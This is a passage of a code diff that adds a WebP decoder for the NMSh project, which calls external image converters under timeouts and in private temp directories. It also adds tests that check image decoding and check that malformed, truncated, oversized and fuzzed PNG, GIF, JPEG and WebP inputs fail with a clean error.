+ {name: 'magick', probe: {file: 'magick', args: ['-version']}, file: 'magick', args: ['in.webp', 'png:out.png']}, + {name: 'convert', probe: {file: 'convert', args: ['-version']}, file: 'convert', args: ['in.webp', 'png:out.png']}, + {name: 'ffmpeg', probe: {file: 'ffmpeg', args: ['-version']}, file: 'ffmpeg', args: ['-nostdin', '-v', 'error', '-i', 'in.webp', '-frames:v', '1', '-y', 'out.png']}, +]; + +const TIMEOUT_MS = 8000; +let probed: Promise | undefined; + +function toolEnv(): NodeJS.ProcessEnv { + return {PATH: process.env.PATH ?? '/usr/bin:/bin:/usr/local/bin:/opt/homebrew/bin', LANG: 'C', LC_ALL: 'C'}; +} + +function run(file: string, args: string[], options: {cwd?: string; signal?: AbortSignal}): Promise<{ok: boolean; timedOut: boolean; stdout: string}> { + return new Promise((resolve) => { + execFile(file, args, {cwd: options.cwd, timeout: TIMEOUT_MS, maxBuffer: 64 * 1024, env: toolEnv(), signal: options.signal, windowsHide: true}, (error, stdout) => { + resolve({ok: !error, timedOut: Boolean(error && (error as {killed?: boolean}).killed), stdout: String(stdout)}); + }); + }); +} + +async function available(): Promise { + probed ??= (async () => { + const found: Converter[] = []; + for (const converter of CONVERTERS) { + if (converter.probe === 'file-exists') { + if (await fs.access(converter.file).then(() => true, () => false)) found.push(converter); + continue; + } + const result = await run(converter.probe.file, converter.probe.args, {}); + // `convert` is only trusted when it is ImageMagick (other systems ship unrelated tools by that name). + if (result.ok && (converter.name !== 'convert' || /imagemagick/i.test(result.stdout))) found.push(converter); + } + return found; + })(); + return probed; +} + +export async function webpDecoderAvailable(): Promise<{available: boolean; tool?: string}> { + const [first] = await available(); + return first ? {available: true, tool: first.name} : {available: false}; +} + +export function decodeWebp(bytes: Uint8Array, options: {scratchDir: string; signal?: AbortSignal}): Promise { + return guardAsync(async () => { + const info = identify(bytes); + if (info.format !== 'webp') throw malformed('not a WebP'); + const converters = await available(); + if (converters.length === 0) { + throw new ImageError('unavailable', process.platform === 'darwin' + ? 'WebP images need a converter: sips ships with macOS, so it should be present; otherwise install libwebp (brew install webp) or ImageMagick.' + : 'WebP images need a converter: install dwebp (libwebp) or ImageMagick.'); + } + await fs.mkdir(options.scratchDir, {recursive: true, mode: 0o700}); + const dir = await fs.mkdtemp(path.join(options.scratchDir, 'webp-')); + try { + await fs.chmod(dir, 0o700); + await fs.writeFile(path.join(dir, 'in.webp'), bytes, {mode: 0o600, flag: 'wx'}); + for (const converter of converters) { + if (options.signal?.aborted) throw new ImageError('unavailable', 'Decoding was cancelled.'); + const result = await run(converter.file, converter.args, {cwd: dir, signal: options.signal}); + if (result.timedOut) throw new ImageError('malformed', 'Converting the WebP took too long.'); + if (!result.ok) continue; + const png = await readBounded(path.join(dir, 'out.png')); + if (png) return decodePng(png); + } + throw malformed('no converter could read the WebP'); + } finally { + await fs.rm(dir, {recursive: true, force: true}).catch(() => undefined); + } + }); +} + +async function readBounded(file: string): Promise { + let handle; + try { + handle = await fs.open(file, 'r'); + const stat = await handle.stat(); + if (!stat.isFile()) return undefined; + if (stat.size > IMAGE_LIMITS.maxFileBytes * 4) throw new ImageError('too-large', 'The converted image is larger than NMSh will decode.'); + const buffer = new Uint8Array(stat.size); + let read = 0; + while (read < buffer.length) { + const {bytesRead} = await handle.read(buffer, read, buffer.length - read, read); + if (bytesRead === 0) break; + read += bytesRead; + } + return buffer.subarray(0, read); + } catch (error) { + if (error instanceof ImageError) throw error; + return undefined; + } finally { + await handle?.close().catch(() => undefined); + } +} + diff --git a/tests/graphicsDecode.test.ts b/tests/graphicsDecode.test.ts new file mode 100644 index 00000000..0dc60b6a --- /dev/null +++ b/tests/graphicsDecode.test.ts @@ -0,0 +1,262 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {execFileSync} from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import jpeg from 'jpeg-js'; +import {identify} from '../src/graphics/formats.js'; +import {decodePng} from '../src/graphics/png.js'; +import {decodeGif} from '../src/graphics/gif.js'; +import {applyOrientation, decodeJpeg, readExifOrientation} from '../src/graphics/jpeg.js'; +import {decodeWebp, webpDecoderAvailable} from '../src/graphics/webp.js'; +import {decodeImage, readImageFile} from '../src/graphics/decode.js'; +import {IMAGE_LIMITS, ImageError, type Raster} from '../src/graphics/raster.js'; +import {chunk, concat, encodePng, ihdr, PNG_SIGNATURE, type PngSpec} from './support/pngEncoder.js'; +import {LOSSLESS_WEBP, LOSSY_WEBP, expectedRgba, sampleSpec, webp, withOrientation} from './support/graphicsFixtures.js'; +import {encodeGif} from './support/gifEncoder.js'; + + +function tmpDir(): string { + return fs.mkdtempSync(path.join(process.env.TMPDIR ?? os.tmpdir(), 'nmsh-gfx-')); +} + +const COMBOS: [PngSpec['colorType'], PngSpec['bitDepth']][] = [ + [0, 1], [0, 2], [0, 4], [0, 8], [0, 16], [2, 8], [2, 16], [3, 1], [3, 2], [3, 4], [3, 8], [4, 8], [4, 16], [6, 8], [6, 16], +]; + +test('PNG: every colour type and depth, every filter, plain and Adam7, decodes to the exact pixels', () => { + for (const [colorType, bitDepth] of COMBOS) { + for (const interlace of [false, true]) { + for (const filter of [0, 1, 2, 3, 4, 'cycle'] as const) { + const spec = sampleSpec(colorType, bitDepth, 11, 9, {interlace, filter}); + const raster = decodePng(encodePng(spec)); + assert.equal(raster.width, 11); + assert.equal(raster.height, 9); + assert.deepEqual(Array.from(raster.data), expectedRgba(spec), `type ${colorType} depth ${bitDepth} interlace ${interlace} filter ${filter}`); + } + } + } +}); + +test('PNG: tiny sizes, including images smaller than the Adam7 pattern', () => { + for (const [w, h] of [[1, 1], [1, 5], [5, 1], [2, 2], [3, 3]]) { + const spec = sampleSpec(6, 8, w!, h!, {interlace: true, filter: 'cycle'}); + assert.deepEqual(Array.from(decodePng(encodePng(spec)).data), expectedRgba(spec)); + } +}); + +test('PNG: palette alpha and colour-key transparency', () => { + const indexed = sampleSpec(3, 2, 4, 2, {trns: [0, 128]}); + const raster = decodePng(encodePng(indexed)); + assert.deepEqual(Array.from(raster.data), expectedRgba(indexed)); + assert.equal(raster.data[3], 128); + + const gray = decodePng(encodePng({width: 2, height: 1, colorType: 0, bitDepth: 16, samples: [0x1234, 0x4321], trns: [0x12, 0x34]})); + assert.deepEqual(Array.from(gray.data), [0x12, 0x12, 0x12, 0, 0x43, 0x43, 0x43, 255]); + + const rgb = decodePng(encodePng({width: 2, height: 1, colorType: 2, bitDepth: 8, samples: [1, 2, 3, 1, 2, 4], trns: [0, 1, 0, 2, 0, 3]})); + assert.deepEqual(Array.from(rgb.data), [1, 2, 3, 0, 1, 2, 4, 255]); +}); + +test('PNG: ancillary chunks are ignored and only the default image of an APNG is decoded', () => { + const spec = sampleSpec(6, 8, 3, 3, {extraChunks: [{type: 'tEXt', data: Uint8Array.from([97, 0, 98])}, {type: 'acTL', data: new Uint8Array(8)}]}); + const bytes = encodePng(spec); + assert.equal(identify(bytes).animated, true); + assert.deepEqual(Array.from(decodePng(bytes).data), expectedRgba(spec)); +}); + +test('identify: PNG size, alpha and animation come from the header alone', () => { + assert.deepEqual(identify(encodePng(sampleSpec(2, 8, 7, 3))), {format: 'png', width: 7, height: 3, animated: false, alpha: false, bytes: encodePng(sampleSpec(2, 8, 7, 3)).length}); + assert.equal(identify(encodePng(sampleSpec(6, 8, 2, 2))).alpha, true); + assert.equal(identify(encodePng(sampleSpec(4, 8, 2, 2))).alpha, true); + assert.equal(identify(encodePng(sampleSpec(2, 8, 2, 2, {trns: [0, 1, 0, 1, 0, 1]}))).alpha, true); + // a header followed by nothing is enough + const headerOnly = concat([PNG_SIGNATURE, chunk('IHDR', ihdr(40, 30, 8, 2))]); + assert.equal(identify(headerOnly).width, 40); +}); + +test('identify: GIF, JPEG, WebP, SVG and unknown data', () => { + const palette = [[0, 0, 0], [255, 255, 255]]; + const one = encodeGif({width: 3, height: 2, palette, frames: [{width: 3, height: 2, indices: [0, 1, 0, 1, 0, 1], transparent: 0}]}); + assert.deepEqual(identify(one), {format: 'gif', width: 3, height: 2, animated: false, alpha: true, bytes: one.length}); + const two = encodeGif({width: 3, height: 2, palette, frames: [{width: 3, height: 2, indices: [0, 1, 0, 1, 0, 1]}, {width: 3, height: 2, indices: [1, 1, 1, 1, 1, 1]}]}); + assert.equal(identify(two).animated, true); + assert.equal(identify(two).alpha, false); + + const jpg = jpeg.encode({width: 13, height: 7, data: new Uint8Array(13 * 7 * 4).fill(200)}, 80).data; + assert.deepEqual(identify(jpg), {format: 'jpeg', width: 13, height: 7, animated: false, alpha: false, bytes: jpg.length}); + + assert.deepEqual(identify(webp(LOSSY_WEBP)), {format: 'webp', width: 8, height: 8, animated: false, alpha: false, bytes: 110}); + assert.deepEqual(identify(webp(LOSSLESS_WEBP)), {format: 'webp', width: 8, height: 8, animated: false, alpha: false, bytes: 66}); + + const riff = (chunks: Uint8Array): Uint8Array => { + const out = new Uint8Array(12 + chunks.length); + out.set(Buffer.from('RIFF....WEBP', 'latin1')); + new DataView(out.buffer).setUint32(4, 4 + chunks.length, true); + out.set(chunks, 12); + return out; + }; + const vp8x = new Uint8Array(18); + vp8x.set(Buffer.from('VP8X')); + vp8x[4] = 10; + vp8x[8] = 0x12; // animation + alpha + vp8x[12] = 99; // canvas width - 1 = 100 + vp8x[15] = 49; // canvas height - 1 = 50 + const animated = identify(riff(vp8x)); + assert.deepEqual([animated.width, animated.height, animated.animated, animated.alpha], [100, 50, true, true]); + + assert.equal(identify(Buffer.from('')).format, 'svg'); + assert.equal(identify(Buffer.from('\n ')).format, 'svg'); + assert.equal(identify(Buffer.from('')).format, 'unknown'); + assert.equal(identify(Buffer.from('hello')).format, 'unknown'); + assert.equal(identify(new Uint8Array(0)).format, 'unknown'); +}); + +test('GIF: palettes, transparency, interlace, frame offsets, first frame only', () => { + const palette = [[10, 20, 30], [200, 100, 50], [0, 255, 0], [1, 2, 3]]; + const indices = Array.from({length: 7 * 11}, (_, i) => (i * 7) % 4); + const rgba = (idx: number[]): number[] => idx.flatMap((i) => [...palette[i]!, 255]); + const plain = decodeGif(encodeGif({width: 7, height: 11, palette, frames: [{width: 7, height: 11, indices}]})); + assert.deepEqual(Array.from(plain.data), rgba(indices)); + const interlaced = decodeGif(encodeGif({width: 7, height: 11, palette, frames: [{width: 7, height: 11, indices, interlaced: true}]})); + assert.deepEqual(Array.from(interlaced.data), rgba(indices)); + + const local = decodeGif(encodeGif({width: 2, height: 1, frames: [{width: 2, height: 1, indices: [0, 1], localPalette: [[9, 9, 9], [8, 8, 8]]}]})); + assert.deepEqual(Array.from(local.data), [9, 9, 9, 255, 8, 8, 8, 255]); + + const transparent = decodeGif(encodeGif({width: 3, height: 1, palette, frames: [{width: 3, height: 1, indices: [0, 1, 2], transparent: 1}]})); + assert.deepEqual(Array.from(transparent.data), [10, 20, 30, 255, 0, 0, 0, 0, 0, 255, 0, 255]); + + const offset = decodeGif(encodeGif({width: 4, height: 3, palette, frames: [{left: 1, top: 2, width: 2, height: 1, indices: [2, 2]}]})); + assert.equal(offset.width, 4); + assert.equal(offset.data[3], 0); + assert.deepEqual(Array.from(offset.data.slice((2 * 4 + 1) * 4, (2 * 4 + 3) * 4)), [0, 255, 0, 255, 0, 255, 0, 255]); + + const big = Array.from({length: 64 * 64}, (_, i) => (i * i + (i >> 3)) % 4); + const long = decodeGif(encodeGif({width: 64, height: 64, palette, frames: [{width: 64, height: 64, indices: big}, {width: 64, height: 64, indices: indices.slice(0, 1).concat(big.slice(1))}]})); + assert.deepEqual(Array.from(long.data), rgba(big), 'LZW survives table growth and first frame wins'); + + const huge = Array.from({length: 200 * 200}, (_, i) => (i * 2654435761 >>> 11) % 256); + const wide = Array.from({length: 256}, (_, i) => [i, 255 - i, i >> 1]); + assert.deepEqual(Array.from(decodeGif(encodeGif({width: 200, height: 200, palette: wide, frames: [{width: 200, height: 200, indices: huge}]})).data), huge.flatMap((i) => [...wide[i]!, 255]), 'table resets'); +}); + +test('JPEG: decodes through jpeg-js and reports the size', () => { + const source = new Uint8Array(16 * 8 * 4); + for (let i = 0; i < 16 * 8; i++) source.set(i % 16 < 8 ? [240, 30, 30, 255] : [30, 30, 240, 255], i * 4); + const raster = decodeJpeg(jpeg.encode({width: 16, height: 8, data: source}, 95).data); + assert.deepEqual([raster.width, raster.height, raster.data.length], [16, 8, 16 * 8 * 4]); + assert.ok(raster.data[0]! > 200 && raster.data[2]! < 80, 'left half red'); + assert.ok(raster.data[15 * 4]! < 80 && raster.data[15 * 4 + 2]! > 200, 'right half blue'); + assert.equal(raster.data[3], 255); +}); + +test('JPEG: EXIF orientation 1..8 is applied', () => { + const base = jpeg.encode({width: 24, height: 16, data: Uint8Array.from({length: 24 * 16 * 4}, (_, i) => (i % 4 === 3 ? 255 : (i >> 2) % 24 < 12 ? 230 : 25))}, 98).data; + const upright = decodeJpeg(base); + for (let orientation = 1; orientation <= 8; orientation++) { + for (const little of [true, false]) { + const file = withOrientation(base, orientation, little); + assert.equal(readExifOrientation(file), orientation); + const raster = decodeJpeg(file); + assert.deepEqual([raster.width, raster.height], orientation >= 5 ? [16, 24] : [24, 16]); + } + } + // 6 turns the picture clockwise: the left (bright) half ends up on top + const six = decodeJpeg(withOrientation(base, 6)); + assert.ok(six.data[0]! > 180 && six.data[(23 * 16) * 4]! < 80); + // 3 is a half turn, 2 mirrors + const three = decodeJpeg(withOrientation(base, 3)); + assert.ok(three.data[0]! < 80 && three.data[23 * 4]! > 180); + assert.deepEqual(Array.from(applyOrientation(applyOrientation(upright, 6), 8).data), Array.from(upright.data)); + assert.deepEqual(Array.from(applyOrientation(applyOrientation(upright, 6), 6).data), Array.from(applyOrientation(upright, 3).data)); + assert.deepEqual(Array.from(applyOrientation(applyOrientation(upright, 5), 5).data), Array.from(upright.data)); + assert.deepEqual(Array.from(applyOrientation(applyOrientation(upright, 2), 4).data), Array.from(applyOrientation(upright, 3).data)); + assert.equal(readExifOrientation(base), 1); + // hostile EXIF: an out-of-range IFD offset and a nonsense value fall back to upright + const bad = Buffer.from(withOrientation(base, 6)); + bad.writeUInt32LE(0xfffffff0, 2 + 2 + 2 + 6 + 4); + assert.equal(readExifOrientation(bad), 1); + assert.equal(readExifOrientation(withOrientation(base, 9)), 1); +}); + +test('boundaries: 1x1, the widest allowed image, and one pixel over each limit', () => { + assert.deepEqual(Array.from(decodePng(encodePng({width: 1, height: 1, colorType: 6, bitDepth: 8, samples: [1, 2, 3, 4]})).data), [1, 2, 3, 4]); + const widest = decodePng(encodePng({width: IMAGE_LIMITS.maxDimension, height: 1, colorType: 0, bitDepth: 8, samples: new Array(IMAGE_LIMITS.maxDimension).fill(7)})); + assert.equal(widest.width, IMAGE_LIMITS.maxDimension); + const header = (w: number, h: number): Uint8Array => concat([PNG_SIGNATURE, chunk('IHDR', ihdr(w, h, 8, 0))]); + assert.throws(() => identify(header(IMAGE_LIMITS.maxDimension + 1, 1)), (e: unknown) => e instanceof ImageError && e.code === 'too-large'); + assert.throws(() => identify(header(5000, 5000)), (e: unknown) => e instanceof ImageError && e.code === 'too-large'); + assert.equal(identify(header(4000, 6000)).width, 4000); + assert.throws(() => identify(header(0, 5)), (e: unknown) => e instanceof ImageError && e.code === 'malformed'); +}); + +const converter = await webpDecoderAvailable(); + +test('WebP: lossy and lossless fixtures decode through an installed converter', {skip: converter.available ? false : 'no WebP converter installed'}, async () => { + const dir = tmpDir(); + try { + for (const fixture of [LOSSY_WEBP, LOSSLESS_WEBP]) { + const raster = await decodeWebp(webp(fixture), {scratchDir: dir}); + assert.deepEqual([raster.width, raster.height], [8, 8]); + const at = (x: number, y: number): number[] => Array.from(raster.data.slice((y * 8 + x) * 4, (y * 8 + x) * 4 + 3)); + const near = (actual: number[], want: number[]): void => assert.ok(actual.every((v, i) => Math.abs(v - want[i]!) <= 40), `${actual} vs ${want}`); + near(at(1, 1), [220, 200, 90]); + near(at(6, 1), [20, 200, 90]); + near(at(1, 6), [220, 40, 90]); + near(at(6, 6), [20, 40, 90]); + } + assert.deepEqual(fs.readdirSync(dir), [], 'the temp directory is removed'); + } finally { + fs.rmSync(dir, {recursive: true, force: true}); + } +}); + +test('WebP: without a converter the error names what to install', async () => { + if (converter.available) return; + await assert.rejects(decodeWebp(webp(LOSSY_WEBP), {scratchDir: tmpDir()}), (e: unknown) => e instanceof ImageError && e.code === 'unavailable' && /install/.test(e.message)); +}); + +test('decodeImage dispatches on content and refuses SVG and unknown data', async () => { + const png = encodePng(sampleSpec(6, 8, 3, 2)); + const {info, raster} = await decodeImage(png); + assert.equal(info.format, 'png'); + assert.equal(raster.width, 3); + await assert.rejects(decodeImage(Buffer.from('')), (e: unknown) => e instanceof ImageError && e.code === 'unsupported' && /SVG/.test(e.message)); + await assert.rejects(decodeImage(Buffer.from('plain text')), (e: unknown) => e instanceof ImageError && e.code === 'unsupported'); + await assert.rejects(decodeImage(webp(LOSSY_WEBP)), (e: unknown) => e instanceof ImageError && e.code === 'unavailable'); + if (converter.available) { + const dir = tmpDir(); + try { + assert.equal((await decodeImage(webp(LOSSLESS_WEBP), {scratchDir: dir})).info.format, 'webp'); + } finally { + fs.rmSync(dir, {recursive: true, force: true}); + } + } +}); + +test('readImageFile: regular files only, size bounded, FIFOs and directories refused', async () => { + const dir = tmpDir(); + try { + const file = path.join(dir, 'a.png'); + fs.writeFileSync(file, encodePng(sampleSpec(0, 8, 2, 2))); + assert.equal((await readImageFile(file)).bytes.length, fs.statSync(file).size); + await assert.rejects(readImageFile(file, {maxBytes: 10}), (e: unknown) => e instanceof ImageError && e.code === 'too-large'); + + await assert.rejects(readImageFile(dir), (e: unknown) => e instanceof ImageError && e.code === 'unsafe'); + const fifo = path.join(dir, 'pipe'); + execFileSync('mkfifo', [fifo]); + await assert.rejects(readImageFile(fifo), (e: unknown) => e instanceof ImageError && e.code === 'unsafe'); + + const big = path.join(dir, 'big.bin'); + fs.closeSync(fs.openSync(big, 'w')); + fs.truncateSync(big, IMAGE_LIMITS.maxFileBytes + 1); + await assert.rejects(readImageFile(big), (e: unknown) => e instanceof ImageError && e.code === 'too-large'); + await assert.rejects(readImageFile(path.join(dir, 'missing')), (e: unknown) => e instanceof ImageError); + } finally { + fs.rmSync(dir, {recursive: true, force: true}); + } +}); + + diff --git a/tests/graphicsDecodeHostile.test.ts b/tests/graphicsDecodeHostile.test.ts new file mode 100644 index 00000000..1ab5c968 --- /dev/null +++ b/tests/graphicsDecodeHostile.test.ts @@ -0,0 +1,226 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import zlib from 'node:zlib'; +import jpeg from 'jpeg-js'; +import {identify} from '../src/graphics/formats.js'; +import {crc32, decodePng} from '../src/graphics/png.js'; +import {decodeGif} from '../src/graphics/gif.js'; +import {decodeJpeg} from '../src/graphics/jpeg.js'; +import {decodeWebp} from '../src/graphics/webp.js'; +import {decodeImage} from '../src/graphics/decode.js'; +import {ImageError} from '../src/graphics/raster.js'; +import {chunk, concat, encodePng, ihdr, PNG_SIGNATURE, rawScanlines} from './support/pngEncoder.js'; +import {encodeGif, lzwEncode} from './support/gifEncoder.js'; +import {LOSSLESS_WEBP, LOSSY_WEBP, sampleSpec, webp, withOrientation} from './support/graphicsFixtures.js'; + +const imageError = (code?: string) => (e: unknown): boolean => e instanceof ImageError && (code === undefined || e.code === code); + +const png = encodePng(sampleSpec(6, 8, 6, 5, {filter: 'cycle'})); +const pngAdam7 = encodePng(sampleSpec(3, 4, 5, 6, {interlace: true})); +const palette = [[10, 20, 30], [200, 100, 50], [0, 255, 0], [1, 2, 3]]; +const gif = encodeGif({width: 5, height: 4, palette, frames: [{width: 5, height: 4, indices: Array.from({length: 20}, (_, i) => i % 4), interlaced: true}]}); +const jpg = jpeg.encode({width: 17, height: 9, data: Uint8Array.from({length: 17 * 9 * 4}, (_, i) => (i * 31) & 255)}, 70).data; + +function pngWithIdat(width: number, height: number, inflated: Uint8Array, colorType = 0, depth = 8): Uint8Array { + return concat([PNG_SIGNATURE, chunk('IHDR', ihdr(width, height, depth, colorType)), chunk('IDAT', zlib.deflateSync(inflated)), chunk('IEND', new Uint8Array(0))]); +} + +test('truncating a PNG or GIF at every byte offset is always an ImageError', () => { + for (const file of [png, pngAdam7]) for (let n = 0; n < file.length; n++) assert.throws(() => decodePng(file.subarray(0, n)), imageError(), `png ${n}`); + for (let n = 0; n < gif.length - 1; n++) assert.throws(() => decodeGif(gif.subarray(0, n)), imageError(), `gif ${n}`); +}); + +test('truncating a JPEG or WebP never yields anything but a raster or an ImageError', () => { + for (let n = 0; n < jpg.length; n++) { + try { decodeJpeg(jpg.subarray(0, n)); } catch (error) { assert.ok(error instanceof ImageError, `jpeg ${n}`); } + } + for (const base64 of [LOSSY_WEBP, LOSSLESS_WEBP]) { + const file = webp(base64); + for (let n = 0; n < file.length; n++) { + if (n < 12) assert.equal(identify(file.subarray(0, n)).format, 'unknown'); + else assert.throws(() => identify(file.subarray(0, n)), imageError(), `webp ${n}`); + } + } +}); + +test('PNG: a wrong critical-chunk CRC is malformed', () => { + for (const offset of [29, png.length - 20, png.length - 1]) { + const bad = Uint8Array.from(png); + bad[offset] = bad[offset]! ^ 0x55; + assert.throws(() => decodePng(bad), imageError('malformed')); + } +}); + +test('PNG: pixel data that does not match the header', () => { + const inflated = rawScanlines({width: 4, height: 4, colorType: 0, bitDepth: 8, samples: new Array(16).fill(9)}); + decodePng(pngWithIdat(4, 4, inflated)); + assert.throws(() => decodePng(pngWithIdat(4, 4, concat([inflated, new Uint8Array(1)]))), imageError('malformed'), 'extra data'); + assert.throws(() => decodePng(pngWithIdat(4, 4, inflated.subarray(0, inflated.length - 1))), imageError('malformed'), 'short data'); + const badFilter = Uint8Array.from(inflated); + badFilter[0] = 5; + assert.throws(() => decodePng(pngWithIdat(4, 4, badFilter)), imageError('malformed'), 'filter byte'); +}); + +test('PNG: a decompression bomb behind a 1x1 header is refused without inflating it', () => { + const bomb = pngWithIdat(1, 1, new Uint8Array(40 * 1024 * 1024)); + const started = Date.now(); + assert.throws(() => decodePng(bomb), imageError('malformed')); + assert.ok(Date.now() - started < 3000); +}); + +test('PNG: size lies and impossible headers', () => { + const header = (w: number, h: number, depth = 8, type = 0, interlace = 0): Uint8Array => concat([PNG_SIGNATURE, chunk('IHDR', ihdr(w, h, depth, type, interlace)), chunk('IEND', new Uint8Array(0))]); + assert.throws(() => identify(header(60000, 60000)), imageError('too-large')); + assert.throws(() => decodePng(header(60000, 60000)), imageError('too-large')); + assert.throws(() => decodePng(header(0, 1)), imageError('malformed')); + assert.throws(() => decodePng(header(1, 0)), imageError('malformed')); + assert.throws(() => decodePng(header(0xffffffff, 1)), imageError()); + assert.throws(() => decodePng(header(1, 1, 3, 0)), imageError('malformed')); + assert.throws(() => decodePng(header(1, 1, 8, 5)), imageError('malformed')); + assert.throws(() => decodePng(header(1, 1, 8, 3, 2)), imageError('malformed')); + assert.throws(() => decodePng(header(4001, 6000)), imageError('too-large')); + assert.throws(() => decodePng(concat([PNG_SIGNATURE, chunk('IHDR', ihdr(1, 1, 8, 0))])), imageError('malformed'), 'no IEND'); +}); + +test('PNG: palette problems', () => { + const spec = sampleSpec(3, 8, 2, 1, {palette: [[1, 2, 3], [4, 5, 6]], samples: [0, 5]}); + assert.throws(() => decodePng(encodePng(spec)), imageError('malformed'), 'index past the palette'); + const noPalette = concat([PNG_SIGNATURE, chunk('IHDR', ihdr(1, 1, 8, 3)), chunk('IDAT', zlib.deflateSync(Uint8Array.from([0, 0]))), chunk('IEND', new Uint8Array(0))]); + assert.throws(() => decodePng(noPalette), imageError('malformed')); + assert.throws(() => decodePng(encodePng({...spec, palette: [[1, 2, 3, 4]], samples: [0, 0]})), imageError('malformed'), 'PLTE not a multiple of 3'); +}); + +test('GIF: code size, LZW overrun, bad frames and bad indices', () => { + const frame = {width: 3, height: 3, indices: [0, 1, 2, 3, 0, 1, 2, 3, 0]}; + const spec = {width: 3, height: 3, palette, frames: [frame]}; + decodeGif(encodeGif(spec)); + for (const size of [0, 9, 12, 13, 255]) assert.throws(() => decodeGif(encodeGif(spec, {minCodeSizeByte: size})), imageError('malformed'), `code size ${size}`); + assert.throws(() => decodeGif(encodeGif(spec, {rawLzw: lzwEncode(new Array(40).fill(1), 2)})), imageError('malformed'), 'too many pixels'); + assert.throws(() => decodeGif(encodeGif(spec, {rawLzw: lzwEncode([1, 2], 2)})), imageError('malformed'), 'too few pixels'); + assert.throws(() => decodeGif(encodeGif(spec, {rawLzw: Uint8Array.from([0x44, 0x01, 0xff, 0xff, 0xff])})), imageError('malformed'), 'garbage codes'); + assert.throws(() => decodeGif(encodeGif({width: 3, height: 3, palette, frames: [{...frame, left: 2}]})), imageError('malformed'), 'frame right of the screen'); + assert.throws(() => decodeGif(encodeGif({width: 3, height: 3, palette, frames: [{...frame, top: 1}]})), imageError('malformed'), 'frame below the screen'); + assert.throws(() => decodeGif(encodeGif({width: 3, height: 3, palette, frames: [{...frame, width: 0, indices: []}]})), imageError('malformed'), 'empty frame'); + assert.throws(() => decodeGif(encodeGif({width: 3, height: 3, palette: palette.slice(0, 2), frames: [frame]})), imageError('malformed'), 'colour index past the table'); + assert.throws(() => decodeGif(encodeGif({width: 3, height: 3, frames: [frame]})), imageError('malformed'), 'no colour table'); + assert.throws(() => decodeGif(encodeGif({width: 0, height: 3, palette, frames: []})), imageError('malformed'), 'zero screen'); + assert.throws(() => decodeGif(encodeGif({width: 65535, height: 65535, palette, frames: [frame]})), imageError('too-large')); +}); + +test('JPEG: forged dimensions and garbage', () => { + const sof = jpg.findIndex((value, i) => value === 0xff && jpg[i + 1] === 0xc0); + const forged = (width: number, height: number): Uint8Array => { + const copy = Uint8Array.from(jpg); + copy[sof + 5] = height >> 8; copy[sof + 6] = height & 255; copy[sof + 7] = width >> 8; copy[sof + 8] = width & 255; + return copy; + }; + assert.throws(() => decodeJpeg(forged(20000, 20000)), imageError('too-large')); + assert.throws(() => decodeJpeg(forged(0, 9)), imageError('malformed')); + assert.throws(() => decodeJpeg(forged(65535, 400)), imageError('too-large')); + for (const [w, h] of [[16, 8], [64, 64], [1, 1]] as const) { + try { decodeJpeg(forged(w, h)); } catch (error) { assert.ok(error instanceof ImageError); } + } + assert.throws(() => decodeJpeg(Uint8Array.from([0xff, 0xd8, 0xff, 0xd9])), imageError('malformed')); + assert.throws(() => decodeJpeg(Uint8Array.from([0xff, 0xd8, 0xff, 0xc0, 0x00, 0x01])), imageError('malformed')); + assert.throws(() => decodeJpeg(Uint8Array.from([0x00, 0x01, 0x02])), imageError('malformed')); + assert.doesNotThrow(() => decodeJpeg(withOrientation(jpg, 6))); +}); + +test('WebP: a lying chunk size or RIFF size is malformed', () => { + for (const base64 of [LOSSY_WEBP, LOSSLESS_WEBP]) { + const file = webp(base64); + const chunkLie = Uint8Array.from(file); + new DataView(chunkLie.buffer).setUint32(16, 0x7fffff00, true); + assert.throws(() => identify(chunkLie), imageError('malformed')); + const riffLie = Uint8Array.from(file); + new DataView(riffLie.buffer).setUint32(4, file.length + 1000, true); + assert.throws(() => identify(riffLie), imageError('malformed')); + const noHeader = Uint8Array.from(file); + noHeader[20] = 0; + noHeader[23] = 0; + assert.throws(() => identify(noHeader), imageError()); + } +}); + +test('WebP: decodeWebp on a hostile file is an ImageError and leaves no temp files', async () => { + const dir = fs.mkdtempSync(path.join(process.env.TMPDIR ?? os.tmpdir(), 'nmsh-gfx-')); + try { + const lying = Uint8Array.from(webp(LOSSY_WEBP)); + new DataView(lying.buffer).setUint32(16, 0x7fffff00, true); + await assert.rejects(decodeWebp(lying, {scratchDir: dir}), imageError('malformed')); + await assert.rejects(decodeWebp(png, {scratchDir: dir}), imageError('malformed')); + assert.deepEqual(fs.readdirSync(dir), []); + } finally { + fs.rmSync(dir, {recursive: true, force: true}); + } +}); + +function rng(seed: number): () => number { + let state = seed >>> 0; + return () => { + state = (state + 0x6d2b79f5) >>> 0; + let t = state; + t = Math.imul(t ^ (t >>> 15), t | 1); + t ^= t + Math.imul(t ^ (t >>> 7), t | 61); + return ((t ^ (t >>> 14)) >>> 0) / 4294967296; + }; +} + +/** Recompute every chunk CRC that still fits, so a mutation reaches the decoder instead of dying at the checksum. */ +function fixCrcs(bytes: Uint8Array): Uint8Array { + const out = Uint8Array.from(bytes); + const view = new DataView(out.buffer); + for (let at = 8; at + 12 <= out.length;) { + const length = view.getUint32(at); + if (at + 12 + length > out.length) break; + view.setUint32(at + 8 + length, crc32(out, at + 4, at + 8 + length)); + at += 12 + length; + } + return out; +} + +function mutate(source: Uint8Array, random: () => number): Uint8Array { + let bytes: Uint8Array = Uint8Array.from(source); + const edits = 1 + Math.floor(random() * 4); + for (let i = 0; i < edits; i++) { + const at = Math.floor(random() * bytes.length); + const kind = Math.floor(random() * 5); + if (kind === 0) bytes[at] = Math.floor(random() * 256); + else if (kind === 1) bytes[at] = bytes[at]! ^ (1 << Math.floor(random() * 8)); + else if (kind === 2) bytes = bytes.subarray(0, Math.max(1, at)); + else if (kind === 3) bytes = concat([bytes.subarray(0, at), Uint8Array.from({length: 1 + Math.floor(random() * 8)}, () => Math.floor(random() * 256)), bytes.subarray(at)]); + else bytes = concat([bytes.subarray(0, at), bytes.subarray(Math.min(bytes.length, at + 1 + Math.floor(random() * 6)))]); + if (bytes.length === 0) bytes = Uint8Array.from([0]); + } + return source[0] === 0x89 && random() < 0.7 ? fixCrcs(bytes) : bytes; +} + +test('seeded fuzzing: at least 600 mutations per format only ever yield a raster or an ImageError, in time', async () => { + const seeds: [string, Uint8Array][] = [['png', png], ['png', pngAdam7], ['gif', gif], ['gif', 